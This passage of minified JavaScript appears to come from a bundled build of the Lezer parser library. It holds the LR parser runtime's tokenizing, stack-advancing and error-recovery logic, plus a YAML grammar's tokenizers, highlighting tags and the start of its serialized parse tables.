h=i[o+1];for(let d=o+3;d<h;d+=2)if((i[d+1]&l)>0){let p=i[d];if(a.allows(p)&&(e.token.value==-1||e.token.value==p||Mw(p,e.token.value,r,s))){e.acceptToken(p);break}}let c=e.next,f=0,u=i[o+2];if(e.next<0&&u>f&&i[h+u*3-3]==65535){o=i[h+u*3-1];continue e}for(;f<u;){let d=f+u>>1,p=h+d+(d<<1),g=i[p],m=i[p+1]||65536;if(c<g)u=d;else if(c>=m)f=d+1;else{o=i[p+2],e.advance();continue e}}break}}function Fc(i,e,t){for(let n=e,r;(r=i[n])!=65535;n++)if(r==t)return n-e;return-1}function Mw(i,e,t,n){let r=Fc(t,n,e);return r<0||Fc(t,n,i)<r}const Qe=typeof process<"u"&&Ic&&/\bparse\b/.test(Ic.LOG);let bo=null;function _c(i,e,t){let n=i.cursor(ne.IncludeAnonymous);for(n.moveTo(e);;)if(!(t<0?n.childBefore(e):n.childAfter(e)))for(;;){if((t<0?n.to<e:n.from>e)&&!n.type.isError)return t<0?Math.max(0,Math.min(n.to-1,e-25)):Math.min(i.length,Math.max(n.from+1,e+25));if(t<0?n.prevSibling():n.nextSibling())break;if(!n.parent())return t<0?0:i.length}}class Pw{constructor(e,t){this.fragments=e,this.nodeSet=t,this.i=0,this.fragment=null,this.safeFrom=-1,this.safeTo=-1,this.trees=[],this.start=[],this.index=[],this.nextFragment()}nextFragment(){let e=this.fragment=this.i==this.fragments.length?null:this.fragments[this.i++];if(e){for(this.safeFrom=e.openStart?_c(e.tree,e.from+e.offset,1)-e.offset:e.from,this.safeTo=e.openEnd?_c(e.tree,e.to+e.offset,-1)-e.offset:e.to;this.trees.length;)this.trees.pop(),this.start.pop(),this.index.pop();this.trees.push(e.tree),this.start.push(-e.offset),this.index.push(0),this.nextStart=this.safeFrom}else this.nextStart=1e9}nodeAt(e){if(e<this.nextStart)return null;for(;this.fragment&&this.safeTo<=e;)this.nextFragment();if(!this.fragment)return null;for(;;){let t=this.trees.length-1;if(t<0)return this.nextFragment(),null;let n=this.trees[t],r=this.index[t];if(r==n.children.length){this.trees.pop(),this.start.pop(),this.index.pop();continue}let s=n.children[r],o=this.start[t]+n.positions[r];if(o>e)return this.nextStart=o,null;if(s instanceof ae){if(o==e){if(o<this.safeFrom)return null;let l=o+s.length;if(l<=this.safeTo){let a=s.prop(W.lookAhead);if(!a||l+a<this.fragment.to)return s}}this.index[t]++,o+s.length>=Math.max(this.safeFrom,e)&&(this.trees.push(s),this.start.push(o),this.index.push(0))}else this.index[t]++,this.nextStart=o+s.length}}}class Ew{constructor(e,t){this.stream=t,this.tokens=[],this.mainToken=null,this.actions=[],this.tokens=e.tokenizers.map(n=>new Mr)}getActions(e){let t=0,n=null,{parser:r}=e.p,{tokenizers:s}=r,o=r.stateSlot(e.state,3),l=e.curContext?e.curContext.hash:0,a=0;for(let h=0;h<s.length;h++){if((1<<h&o)==0)continue;let c=s[h],f=this.tokens[h];if(!(n&&!c.fallback)&&((c.contextual||f.start!=e.pos||f.mask!=o||f.context!=l)&&(this.updateCachedToken(f,c,e),f.mask=o,f.context=l),f.lookAhead>f.end+25&&(a=Math.max(f.lookAhead,a)),f.value!=0)){let u=t;if(f.extended>-1&&(t=this.addActions(e,f.extended,f.end,t)),t=this.addActions(e,f.value,f.end,t),!c.extend&&(n=f,t>u))break}}for(;this.actions.length>t;)this.actions.pop();return a&&e.setLookAhead(a),!n&&e.pos==this.stream.end&&(n=new Mr,n.value=e.p.parser.eofTerm,n.start=n.end=e.pos,t=this.addActions(e,n.value,n.end,t)),this.mainToken=n,this.actions}getMainToken(e){if(this.mainToken)return this.mainToken;let t=new Mr,{pos:n,p:r}=e;return t.start=n,t.end=Math.min(n+1,r.stream.end),t.value=n==r.stream.end?r.parser.eofTerm:0,t}updateCachedToken(e,t,n){let r=this.stream.clipPos(n.pos);if(t.token(this.stream.reset(r,e),n),e.value>-1){let{parser:s}=n.p;for(let o=0;o<s.specialized.length;o++)if(s.specialized[o]==e.value){let l=s.specializers[o](this.stream.read(e.start,e.end),n);if(l>=0&&n.p.parser.dialect.allows(l>>1)){(l&1)==0?e.value=l>>1:e.extended=l>>1;break}}}else e.value=0,e.end=this.stream.clipPos(r+1)}putAction(e,t,n,r){for(let s=0;s<r;s+=3)if(this.actions[s]==e)return r;return this.actions[r++]=e,this.actions[r++]=t,this.actions[r++]=n,r}addActions(e,t,n,r){let{state:s}=e,{parser:o}=e.p,{data:l}=o;for(let a=0;a<2;a++)for(let h=o.stateSlot(s,a?2:1);;h+=3){if(l[h]==65535)if(l[h+1]==1)h=Ct(l,h+2);else{r==0&&l[h+1]==2&&(r=this.putAction(Ct(l,h+2),t,n,r));break}l[h]==t&&(r=this.putAction(Ct(l,h+1),t,n,r))}return r}}class Lw{constructor(e,t,n,r){this.parser=e,this.input=t,this.ranges=r,this.recovering=0,this.nextStackID=9812,this.minStackPos=0,this.reused=[],this.stoppedAt=null,this.lastBigReductionStart=-1,this.lastBigReductionSize=0,this.bigReductionCount=0,this.stream=new Aw(t,r),this.tokens=new Ew(e,this.stream),this.topTerm=e.top[1];let{from:s}=r[0];this.stacks=[ss.start(this,e.top[0],s)],this.fragments=n.length&&this.stream.end-s>e.bufferLength*4?new Pw(n,e.nodeSet):null}get parsedPos(){return this.minStackPos}advance(){let e=this.stacks,t=this.minStackPos,n=this.stacks=[],r,s;if(this.bigReductionCount>300&&e.length==1){let[o]=e;for(;o.forceReduce()&&o.stack.length&&o.stack[o.stack.length-2]>=this.lastBigReductionStart;);this.bigReductionCount=this.lastBigReductionSize=0}for(let o=0;o<e.length;o++){let l=e[o];for(;;){if(this.tokens.mainToken=null,l.pos>t)n.push(l);else{if(this.advanceStack(l,n,e))continue;{r||(r=[],s=[]),r.push(l);let a=this.tokens.getMainToken(l);s.push(a.value,a.end)}}break}}if(!n.length){let o=r&&Iw(r);if(o)return Qe&&console.log("Finish with "+this.stackID(o)),this.stackToTree(o);if(this.parser.strict)throw Qe&&r&&console.log("Stuck with token "+(this.tokens.mainToken?this.parser.getName(this.tokens.mainToken.value):"none")),new SyntaxError("No parse at "+t);this.recovering||(this.recovering=5)}if(this.recovering&&r){let o=this.stoppedAt!=null&&r[0].pos>this.stoppedAt?r[0]:this.runRecovery(r,s,n);if(o)return Qe&&console.log("Force-finish "+this.stackID(o)),this.stackToTree(o.forceAll())}if(this.recovering){let o=this.recovering==1?1:this.recovering*3;if(n.length>o)for(n.sort((l,a)=>a.score-l.score);n.length>o;)n.pop();n.some(l=>l.reducePos>t)&&this.recovering--}else if(n.length>1){e:for(let o=0;o<n.length-1;o++){let l=n[o];for(let a=o+1;a<n.length;a++){let h=n[a];if(l.sameState(h)||l.buffer.length>500&&h.buffer.length>500)if((l.score-h.score||l.buffer.length-h.buffer.length)>0)n.splice(a--,1);else{n.splice(o--,1);continue e}}}n.length>12&&(n.sort((o,l)=>l.score-o.score),n.splice(12,n.length-12))}this.minStackPos=n[0].pos;for(let o=1;o<n.length;o++)n[o].pos<this.minStackPos&&(this.minStackPos=n[o].pos);return null}stopAt(e){if(this.stoppedAt!=null&&this.stoppedAt<e)throw new RangeError("Can't move stoppedAt forward");this.stoppedAt=e}advanceStack(e,t,n){let r=e.pos,{parser:s}=this,o=Qe?this.stackID(e)+" -> ":"";if(this.stoppedAt!=null&&r>this.stoppedAt)return e.forceReduce()?e:null;if(this.fragments){let h=e.curContext&&e.curContext.tracker.strict,c=h?e.curContext.hash:0;for(let f=this.fragments.nodeAt(r);f;){let u=this.parser.nodeSet.types[f.type.id]==f.type?s.getGoto(e.state,f.type.id):-1;if(u>-1&&f.length&&(!h||(f.prop(W.contextHash)||0)==c))return e.useNode(f,u),Qe&&console.log(o+this.stackID(e)+` (via reuse of ${s.getName(f.type.id)})`),!0;if(!(f instanceof ae)||f.children.length==0||f.positions[0]>0)break;let d=f.children[0];if(d instanceof ae&&f.positions[0]==0)f=d;else break}}let l=s.stateSlot(e.state,4);if(l>0)return e.reduce(l),Qe&&console.log(o+this.stackID(e)+` (via always-reduce ${s.getName(l&65535)})`),!0;if(e.stack.length>=8400)for(;e.stack.length>6e3&&e.forceReduce(););let a=this.tokens.getActions(e);for(let h=0;h<a.length;){let c=a[h++],f=a[h++],u=a[h++],d=h==a.length||!n,p=d?e:e.split(),g=this.tokens.mainToken;if(p.apply(c,f,g?g.start:p.pos,u),Qe&&console.log(o+this.stackID(p)+` (via ${(c&65536)==0?"shift":`reduce of ${s.getName(c&65535)}`} for ${s.getName(f)} @ ${r}${p==e?"":", split"})`),d)return!0;p.pos>r?t.push(p):n.push(p)}return!1}advanceFully(e,t){let n=e.pos;for(;;){if(!this.advanceStack(e,null,null))return!1;if(e.pos>n)return Wc(e,t),!0}}runRecovery(e,t,n){let r=null,s=!1;for(let o=0;o<e.length;o++){let l=e[o],a=t[o<<1],h=t[(o<<1)+1],c=Qe?this.stackID(l)+" -> ":"";if(l.deadEnd&&(s||(s=!0,l.restart(),Qe&&console.log(c+this.stackID(l)+" (restarted)"),this.advanceFully(l,n))))continue;let f=l.split(),u=c;for(let d=0;d<10&&f.forceReduce()&&(Qe&&console.log(u+this.stackID(f)+" (via force-reduce)"),!this.advanceFully(f,n));d++)Qe&&(u=this.stackID(f)+" -> ");for(let d of l.recoverByInsert(a))Qe&&console.log(c+this.stackID(d)+" (via recover-insert)"),this.advanceFully(d,n);this.stream.end>l.pos?(h==l.pos&&(h++,a=0),l.recoverByDelete(a,h),Qe&&console.log(c+this.stackID(l)+` (via recover-delete ${this.parser.getName(a)})`),Wc(l,n)):(!r||r.score<f.score)&&(r=f)}return r}stackToTree(e){return e.close(),ae.build({buffer:os.create(e),nodeSet:this.parser.nodeSet,topID:this.topTerm,maxBufferLength:this.parser.bufferLength,reused:this.reused,start:this.ranges[0].from,length:e.pos-this.ranges[0].from,minRepeatType:this.parser.minRepeatTerm})}stackID(e){let t=(bo||(bo=new WeakMap)).get(e);return t||bo.set(e,t=String.fromCodePoint(this.nextStackID++)),t+e}}function Wc(i,e){for(let t=0;t<e.length;t++){let n=e[t];if(n.pos==i.pos&&n.sameState(i)){e[t].score<i.score&&(e[t]=i);return}}e.push(i)}class Dw{constructor(e,t,n){this.source=e,this.flags=t,this.disabled=n}allows(e){return!this.disabled||this.disabled[e]==0}}const yo=i=>i;class Rw{constructor(e){this.start=e.start,this.shift=e.shift||yo,this.reduce=e.reduce||yo,this.reuse=e.reuse||yo,this.hash=e.hash||(()=>0),this.strict=e.strict!==!1}}class ls extends nd{constructor(e){if(super(),this.wrappers=[],e.version!=14)throw new RangeError(`Parser version (${e.version}) doesn't match runtime version (14)`);let t=e.nodeNames.split(" ");this.minRepeatTerm=t.length;for(let l=0;l<e.repeatNodeCount;l++)t.push("");let n=Object.keys(e.topRules).map(l=>e.topRules[l][1]),r=[];for(let l=0;l<t.length;l++)r.push([]);function s(l,a,h){r[l].push([a,a.deserialize(String(h))])}if(e.nodeProps)for(let l of e.nodeProps){let a=l[0];typeof a=="string"&&(a=W[a]);for(let h=1;h<l.length;){let c=l[h++];if(c>=0)s(c,a,l[h++]);else{let f=l[h+-c];for(let u=-c;u>0;u--)s(l[h++],a,f);h++}}}this.nodeSet=new na(t.map((l,a)=>$e.define({name:a>=this.minRepeatTerm?void 0:l,id:a,props:r[a],top:n.indexOf(a)>-1,error:a==0,skipped:e.skippedNodes&&e.skippedNodes.indexOf(a)>-1}))),e.propSources&&(this.nodeSet=this.nodeSet.extend(...e.propSources)),this.strict=!1,this.bufferLength=Zu;let o=yr(e.tokenData);this.context=e.context,this.specializerSpecs=e.specialized||[],this.specialized=new Uint16Array(this.specializerSpecs.length);for(let l=0;l<this.specializerSpecs.length;l++)this.specialized[l]=this.specializerSpecs[l].term;this.specializers=this.specializerSpecs.map($c),this.states=yr(e.states,Uint32Array),this.data=yr(e.stateData),this.goto=yr(e.goto),this.maxTerm=e.maxTerm,this.tokenizers=e.tokenizers.map(l=>typeof l=="number"?new _i(o,l):l),this.topRules=e.topRules,this.dialects=e.dialects||{},this.dynamicPrecedences=e.dynamicPrecedences||null,this.tokenPrecTable=e.tokenPrec,this.termNames=e.termNames||null,this.maxNode=this.nodeSet.types.length-1,this.dialect=this.parseDialect(),this.top=this.topRules[Object.keys(this.topRules)[0]]}createParse(e,t,n){let r=new Lw(this,e,t,n);for(let s of this.wrappers)r=s(r,e,t,n);return r}getGoto(e,t,n=!1){let r=this.goto;if(t>=r[0])return-1;for(let s=r[t+1];;){let o=r[s++],l=o&1,a=r[s++];if(l&&n)return a;for(let h=s+(o>>1);s<h;s++)if(r[s]==e)return a;if(l)return-1}}hasAction(e,t){let n=this.data;for(let r=0;r<2;r++)for(let s=this.stateSlot(e,r?2:1),o;;s+=3){if((o=n[s])==65535)if(n[s+1]==1)o=n[s=Ct(n,s+2)];else{if(n[s+1]==2)return Ct(n,s+2);break}if(o==t||o==0)return Ct(n,s+1)}return 0}stateSlot(e,t){return this.states[e*6+t]}stateFlag(e,t){return(this.stateSlot(e,0)&t)>0}validAction(e,t){return!!this.allActions(e,n=>n==t?!0:null)}allActions(e,t){let n=this.stateSlot(e,4),r=n?t(n):void 0;for(let s=this.stateSlot(e,1);r==null;s+=3){if(this.data[s]==65535)if(this.data[s+1]==1)s=Ct(this.data,s+2);else break;r=t(Ct(this.data,s+1))}return r}nextStates(e){let t=[];for(let n=this.stateSlot(e,1);;n+=3){if(this.data[n]==65535)if(this.data[n+1]==1)n=Ct(this.data,n+2);else break;if((this.data[n+2]&1)==0){let r=this.data[n+1];t.some((s,o)=>o&1&&s==r)||t.push(this.data[n],r)}}return t}configure(e){let t=Object.assign(Object.create(ls.prototype),this);if(e.props&&(t.nodeSet=this.nodeSet.extend(...e.props)),e.top){let n=this.topRules[e.top];if(!n)throw new RangeError(`Invalid top rule name ${e.top}`);t.top=n}return e.tokenizers&&(t.tokenizers=this.tokenizers.map(n=>{let r=e.tokenizers.find(s=>s.from==n);return r?r.to:n})),e.specializers&&(t.specializers=this.specializers.slice(),t.specializerSpecs=this.specializerSpecs.map((n,r)=>{let s=e.specializers.find(l=>l.from==n.external);if(!s)return n;let o=Object.assign(Object.assign({},n),{external:s.to});return t.specializers[r]=$c(o),o})),e.contextTracker&&(t.context=e.contextTracker),e.dialect&&(t.dialect=this.parseDialect(e.dialect)),e.strict!=null&&(t.strict=e.strict),e.wrap&&(t.wrappers=t.wrappers.concat(e.wrap)),e.bufferLength!=null&&(t.bufferLength=e.bufferLength),t}hasWrappers(){return this.wrappers.length>0}getName(e){return this.termNames?this.termNames[e]:String(e<=this.maxNode&&this.nodeSet.types[e].name||e)}get eofTerm(){return this.maxNode+1}get topNode(){return this.nodeSet.types[this.top[1]]}dynamicPrecedence(e){let t=this.dynamicPrecedences;return t==null?0:t[e]||0}parseDialect(e){let t=Object.keys(this.dialects),n=t.map(()=>!1);if(e)for(let s of e.split(" ")){let o=t.indexOf(s);o>=0&&(n[o]=!0)}let r=null;for(let s=0;s<t.length;s++)if(!n[s])for(let o=this.dialects[t[s]],l;(l=this.data[o++])!=65535;)(r||(r=new Uint8Array(this.maxTerm+1)))[l]=1;return new Dw(e,n,r)}static deserialize(e){return new ls(e)}}function Ct(i,e){return i[e]|i[e+1]<<16}function Iw(i){let e=null;for(let t of i){let n=t.p.stoppedAt;(t.pos==t.p.stream.end||n!=null&&t.pos>n)&&t.p.parser.stateFlag(t.state,2)&&(!e||e.score<t.score)&&(e=t)}return e}function $c(i){if(i.external){let e=i.extend?1:0;return(t,n)=>i.external(t,n)<<1|e}return i.get}const wi=63,Hc=64,Nw=1,Bw=2,Ap=3,Fw=4,Tp=5,_w=6,Ww=7,Mp=65,$w=66,Hw=8,Vw=9,Qw=10,zw=11,qw=12,Pp=13,Uw=19,Kw=20,Xw=29,jw=33,Yw=34,Gw=47,Jw=0,ka=1,Ol=2,$n=3,Cl=4;class si{constructor(e,t,n){this.parent=e,this.depth=t,this.type=n,this.hash=(e?e.hash+e.hash<<8:0)+t+(t<<4)+n}}si.top=new si(null,-1,Jw);function wn(i,e){for(let t=0,n=e-i.pos-1;;n--,t++){let r=i.peek(n);if(Rt(r)||r==-1)return t}}function Al(i){return i==32||i==9}function Rt(i){return i==10||i==13}function Ep(i){return Al(i)||Rt(i)}function hi(i){return i<0||Ep(i)}const Zw=new Rw({start:si.top,reduce(i,e){return i.type==$n&&(e==Kw||e==Yw)?i.parent:i},shift(i,e,t,n){if(e==Ap)return new si(i,wn(n,n.pos),ka);if(e==Mp||e==Tp)return new si(i,wn(n,n.pos),Ol);if(e==wi)return i.parent;if(e==Uw||e==jw)return new si(i,0,$n);if(e==Pp&&i.type==Cl)return i.parent;if(e==Gw){let r=/[1-9]/.exec(n.read(n.pos,t.pos));if(r)return new si(i,i.depth+ +r[0],Cl)}return i},hash(i){return i.hash}});function ji(i,e,t=0){return i.peek(t)==e&&i.peek(t+1)==e&&i.peek(t+2)==e&&hi(i.peek(t+3))}const eO=new Es((i,e)=>{if(i.next==-1&&e.canShift(Hc))return i.acceptToken(Hc);let t=i.peek(-1);if((Rt(t)||t<0)&&e.context.type!=$n){if(ji(i,45))if(e.canShift(wi))i.acceptToken(wi);else return i.acceptToken(Nw,3);if(ji(i,46))if(e.canShift(wi))i.acceptToken(wi);else return i.acceptToken(Bw,3);let n=0;for(;i.next==32;)n++,i.advance();(n<e.context.depth||n==e.context.depth&&e.context.type==ka&&(i.next!=45||!hi(i.peek(1))))&&i.next!=-1&&!Rt(i.next)&&i.next!=35&&i.acceptToken(wi,-n)}},{contextual:!0}),tO=new Es((i,e)=>{if(e.context.type==$n){i.next==63&&(i.advance(),hi(i.next)&&i.acceptToken(Ww));return}if(i.next==45)i.advance(),hi(i.next)&&i.acceptToken(e.context.type==ka&&e.context.depth==wn(i,i.pos-1)?Fw:Ap);else if(i.next==63)i.advance(),hi(i.next)&&i.acceptToken(e.context.type==Ol&&e.context.depth==wn(i,i.pos-1)?_w:Tp);else{let t=i.pos;for(;;)if(Al(i.next)){if(i.pos==t)return;i.advance()}else if(i.next==33)Lp(i);else if(i.next==38)Tl(i);else if(i.next==42){Tl(i);break}else if(i.next==39||i.next==34){if(wa(i,!0))break;return}else if(i.next==91||i.next==123){if(!nO(i))return;break}else{Dp(i,!0,!1,0);break}for(;Al(i.next);)i.advance();if(i.next==58){if(i.pos==t&&e.canShift(Xw))return;let n=i.peek(1);hi(n)&&i.acceptTokenTo(e.context.type==Ol&&e.context.depth==wn(i,t)?$w:Mp,t)}}},{contextual:!0});function iO(i){return i>32&&i<127&&i!=34&&i!=37&&i!=44&&i!=60&&i!=62&&i!=92&&i!=94&&i!=96&&i!=123&&i!=124&&i!=125}function Vc(i){return i>=48&&i<=57||i>=97&&i<=102||i>=65&&i<=70}function Qc(i,e){return i.next==37?(i.advance(),Vc(i.next)&&i.advance(),Vc(i.next)&&i.advance(),!0):iO(i.next)||e&&i.next==44?(i.advance(),!0):!1}function Lp(i){if(i.advance(),i.next==60){for(i.advance();;)if(!Qc(i,!0)){i.next==62&&i.advance();break}}else for(;Qc(i,!1););}function Tl(i){for(i.advance();!hi(i.next)&&as(i.next)!="f";)i.advance()}function wa(i,e){let t=i.next,n=!1,r=i.pos;for(i.advance();;){let s=i.next;if(s<0)break;if(i.advance(),s==t)if(s==39)if(i.next==39)i.advance();else break;else break;else if(s==92&&t==34)i.next>=0&&i.advance();else if(Rt(s)){if(e)return!1;n=!0}else if(e&&i.pos>=r+1024)return!1}return!n}function nO(i){for(let e=[],t=i.pos+1024;;)if(i.next==91||i.next==123)e.push(i.next),i.advance();else if(i.next==39||i.next==34){if(!wa(i,!0))return!1}else if(i.next==93||i.next==125){if(e[e.length-1]!=i.next-2)return!1;if(e.pop(),i.advance(),!e.length)return!0}else{if(i.next<0||i.pos>t||Rt(i.next))return!1;i.advance()}}const rO="iiisiiissisfissssssssssssisssiiissssssssssssssssssssssssssfsfssissssssssssssssssssssssssssfif";function as(i){return i<33?"u":i>125?"s":rO[i-33]}function xo(i,e){let t=as(i);return t!="u"&&!(e&&t=="f")}function Dp(i,e,t,n){if(as(i.next)=="s"||(i.next==63||i.next==58||i.next==45)&&xo(i.peek(1),t))i.advance();else return!1;let r=i.pos;for(;;){let s=i.next,o=0,l=n+1;for(;Ep(s);){if(Rt(s)){if(e)return!1;l=0}else l++;s=i.peek(++o)}if(!(s>=0&&(s==58?xo(i.peek(o+1),t):s==35?i.peek(o-1)!=32:xo(s,t)))||!t&&l<=n||l==0&&!t&&(ji(i,45,o)||ji(i,46,o)))break;if(e&&as(s)=="f")return!1;for(let h=o;h>=0;h--)i.advance();if(e&&i.pos>r+1024)return!1}return!0}const sO=new Es((i,e)=>{if(i.next==33)Lp(i),i.acceptToken(qw);else if(i.next==38||i.next==42){let t=i.next==38?Qw:zw;Tl(i),i.acceptToken(t)}else i.next==39||i.next==34?(wa(i,!1),i.acceptToken(Vw)):Dp(i,!1,e.context.type==$n,e.context.depth)&&i.acceptToken(Hw)}),oO=new Es((i,e)=>{let t=e.context.type==Cl?e.context.depth:-1,n=i.pos;e:for(;;){let r=0,s=i.next;for(;s==32;)s=i.peek(++r);if(!r&&(ji(i,45,r)||ji(i,46,r))||!Rt(s)&&(t<0&&(t=Math.max(e.context.depth+1,r)),r<t))break;for(;;){if(i.next<0)break e;let o=Rt(i.next);if(i.advance(),o)continue e;n=i.pos}}i.acceptTokenTo(Pp,n)}),lO=rd({DirectiveName:y.keyword,DirectiveContent:y.attributeValue,"DirectiveEnd DocEnd":y.meta,QuotedLiteral:y.string,BlockLiteralHeader:y.special(y.string),BlockLiteralContent:y.content,Literal:y.content,"Key/Literal Key/QuotedLiteral":y.definition(y.propertyName),"Anchor Alias":y.labelName,Tag:y.typeName,Comment:y.lineComment,": , -":y.separator,"?":y.punctuation,"[ ]":y.squareBracket,"{ }":y.brace}),aO=ls.deserialize({version:14,states:"5lQ!ZQgOOO#PQfO'#CpO#uQfO'#DOOOQR'#Dv'#DvO$qQgO'#DRO%gQdO'#DUO%nQgO'#DUO&ROaO'#D[OOQR'#Du'#DuO&{QgO'#D^O'rQgO'#D`OOQR'#Dt'#DtO(iOqO'#DbOOQP'#Dj'#DjO(zQaO'#CmO)YQgO'#CmOOQP'#Cm'#CmQ)jQaOOQ)uQgOOQ]QgOOO*PQdO'#CrO*nQdO'#CtOOQO'#Dw'#DwO+]Q`O'#CxO+hQdO'#CwO+rQ`O'#CwOOQO'#Cv'#CvO+wQdO'#CvOOQO'#Cq'#CqO,UQ`O,59[O,^QfO,59[OOQR,59[,59[OOQO'#Cx'#CxO,eQ`O'#DPO,pQdO'#DPOOQO'#Dx'#DxO,zQdO'#DxO-XQ`O,59jO-aQfO,59jOOQR,59j,59jOOQR'#DS'#DSO-hQcO,59mO-sQgO'#DVO.TQ`O'#DVO.YQcO,59pOOQR'#DX'#DXO#|QfO'#DWO.hQcO'#DWOOQR,59v,59vO.yOWO,59vO/OOaO,59vO/WOaO,59vO/cQgO'#D_OOQR,59x,59xO0VQgO'#DaOOQR,59z,59zOOQP,59|,59|O0yOaO,59|O1ROaO,59|O1aOqO,59|OOQP-E7h-E7hO1oQgO,59XOOQP,59X,59XO2PQaO'#DeO2_QgO'#DeO2oQgO'#DkOOQP'#Dk'#DkQ)jQaOOO3PQdO'#CsOOQO,59^,59^O3kQdO'#CuOOQO,59`,59`OOQO,59c,59cO4VQdO,59cO4aQdO'#CzO4kQ`O'#CzOOQO,59b,59bOOQU,5:Q,5:QOOQR1G.v1G.vO4pQ`O1G.vOOQU-E7d-E7dO4xQdO,59kOOQO,59k,59kO5SQdO'#DQO5^Q`O'#DQOOQO,5:d,5:dOOQU,5:R,5:ROOQR1G/U1G/UO5cQ`O1G/UOOQU-E7e-E7eO5kQgO'#DhO5xQcO1G/XOOQR1G/X1G/XOOQR,59q,59qO6TQgO,59qO6eQdO'#DiO6lQgO'#DiO7PQcO1G/[OOQR1G/[1G/[OOQR,59r,59rO#|QfO,59rOOQR1G/b1G/bO7_OWO1G/bO7dOaO1G/bOOQR,59y,59yOOQR,59{,59{OOQP1G/h1G/hO7lOaO1G/hO7tOaO1G/hO8POaO1G/hOOQP1G.s1G.sO8_QgO,5:POOQP,5:P,5:POOQP,5:V,5:VOOQP-E7i-E7iOOQO,59_,59_OOQO,59a,59aOOQO1G.}1G.}OOQO,59f,59fO8oQdO,59fOOQR7+$b7+$bP,XQ`O'#DfOOQO1G/V1G/VOOQO,59l,59lO8yQdO,59lOOQR7+$p7+$pP9TQ`O'#DgOOQR'#DT'#DTOOQR,5:S,5:SOOQR-E7f-E7fOOQR7+$s7+$sOOQR1G/]1G/]O9YQgO'#DYO9jQ`O'#DYOOQR,5:T,5:TO#|QfO'#DZO9oQcO'#DZOOQR-E7g-E7gOOQR7+$v7+$vOOQR1G/^1G/^OOQR7+$|7+$|O:QOWO7+$|OOQP7+%S7+%SO:VOaO7+%SO:_OaO7+%SOOQP1G/k1G/kOOQO1G/Q1G/QOOQO1G/W1G/WOOQR,59t,59tO:jQgO,59tOOQR,59u,59uO#|QfO,59uOOQR<<Hh<<HhOOQP<<Hn<<HnO:zOaO<<HnOOQR1G/`1G/`OOQR1G/a1G/aOOQPAN>YAN>Y",stateData:";S~O!fOS!gOS^OS~OP_OQbORSOTUOWROXROYYOZZO[XOcPOqQO!PVO!V[O!cTO~O`cO~P]OVkOWROXROYeOZfO[dOcPOmhOqQO~OboO~P!bOVtOWROXROYeOZfO[dOcPOmrOqQO~OpwO~P#WORSOTUOWROXROYYOZZO[XOcPOqQO!PVO!cTO~OSvP!avP!bvP~P#|OWROXROYeOZfO[dOcPOqQO~OmzO~P%OOm!OOUzP!azP!bzP!dzP~P#|O^!SO!b!QO!f!TO!g!RO~ORSOTUOWROXROcPOqQO!PVO!cTO~OY!UOP!QXQ!QX!V!QX!`!QXS!QX!a!QX!b!QXU!QXm!QX!d!QX~P&aO[!WOP!SXQ!SX!V!SX!`!SXS!SX!a!SX!b!SXU!SXm!SX!d!SX~P&aO^!ZO!W![O!b!YO!f!]O!g!YO~OP!_O!V[OQaX!`aX~OPaXQaX!VaX!`aX~P#|OP!bOQ!cO!V[O~OP_O!V[O~P#|OWROXROY!fOcPOqQObfXmfXofXpfX~OWROXRO[!hOcPOqQObhXmhXohXphX~ObeXmlXoeX~ObkXokX~P%OOm!kO~Om!lObnPonP~P%OOb!pOo!oO~Ob!pO~P!bOm!sOosXpsX~OosXpsX~P%OOm!uOotPptP~P%OOo!xOp!yO~Op!yO~P#WOS!|O!a#OO!b#OO~OUyX!ayX!byX!dyX~P#|Om#QO~OU#SO!a#UO!b#UO!d#RO~Om#WOUzX!azX!bzX!dzX~O]#XO~O!b#XO!g#YO~O^#ZO!b#XO!g#YO~OP!RXQ!RX!V!RX!`!RXS!RX!a!RX!b!RXU!RXm!RX!d!RX~P&aOP!TXQ!TX!V!TX!`!TXS!TX!a!TX!b!TXU!TXm!TX!d!TX~P&aO!b#^O!g#^O~O^#_O!b#^O!f#`O!g#^O~O^#_O!W#aO!b#^O!g#^O~OPaaQaa!Vaa!`aa~P#|OP#cO!V[OQ!XX!`!XX~OP!XXQ!XX!V!XX!`!XX~P#|OP_O!V[OQ!_X!`!_X~P#|OWROXROcPOqQObgXmgXogXpgX~OWROXROcPOqQObiXmiXoiXpiX~Obkaoka~P%OObnXonX~P%OOm#kO~Ob#lOo!oO~Oosapsa~P%OOotXptX~P%OOm#pO~Oo!xOp#qO~OSwP!awP!bwP~P#|OS!|O!a#vO!b#vO~OUya!aya!bya!dya~P#|Om#xO~P%OOm#{OU}P!a}P!b}P!d}P~P#|OU#SO!a$OO!b$OO!d#RO~O]$QO~O!b$QO!g$RO~O!b$SO!g$SO~O^$TO!b$SO!g$SO~O^$TO!b$SO!f$UO!g$SO~OP!XaQ!Xa!V!Xa!`!Xa~P#|Obnaona~P%OOotapta~P%OOo!xO~OU|X!a|X!b|X!d|X~P#|Om$ZO~Om$]OU}X!a}X!b}X!d}X~O]$^O~O!b$_O!g$_O~O^$`O!b$_O!g$_O~OU|a!a|a!b|a!d|a~P#|O!b$cO!g$cO~O",goto:",]!mPPPPPPPPPPPPPPPPP!nPP!v#v#|$`#|$c$f$j$nP%VPPP!v%Y%^%a%{&O%a&R&U&X&_&b%aP&e&{&e'O'RPP']'a'g'm's'y(XPPPPPPPP(_)e*X+c,VUaObcR#e!c!{ROPQSTUXY_bcdehknrtvz!O!U!W!_!b!c!f!h!k!l!s!u!|#Q#R#S#W#c#k#p#x#{$Z$]QmPR!qnqfPQThknrtv!k!l!s!u#R#k#pR!gdR!ieTlPnTjPnSiPnSqQvQ{TQ!mkQ!trQ!vtR#y#RR!nkTsQvR!wt!RWOSUXY_bcz!O!U!W!_!b!c!|#Q#S#W#c#x#{$Z$]RySR#t!|R|TR|UQ!PUR#|#SR#z#RR#z#SyZOSU_bcz!O!_!b!c!|#Q#S#W#c#x#{$Z$]R!VXR!XYa]O^abc!a!c!eT!da!eQnPR!rnQvQR!{vQ!}yR#u!}Q#T|R#}#TW^Obc!cS!^^!aT!aa!eQ!eaR#f!eW`Obc!cQxSS}U#SQ!`_Q#PzQ#V!OQ#b!_Q#d!bQ#s!|Q#w#QQ$P#WQ$V#cQ$Y#xQ$[#{Q$a$ZR$b$]xZOSU_bcz!O!_!b!c!|#Q#S#W#c#x#{$Z$]Q!VXQ!XYQ#[!UR#]!W!QWOSUXY_bcz!O!U!W!_!b!c!|#Q#S#W#c#x#{$Z$]pfPQThknrtv!k!l!s!u#R#k#pQ!gdQ!ieQ#g!fR#h!hSgPn^pQTkrtv#RQ!jhQ#i!kQ#j!lQ#n!sQ#o!uQ$W#kR$X#pQuQR!zv",nodeNames:"⚠ DirectiveEnd DocEnd - - 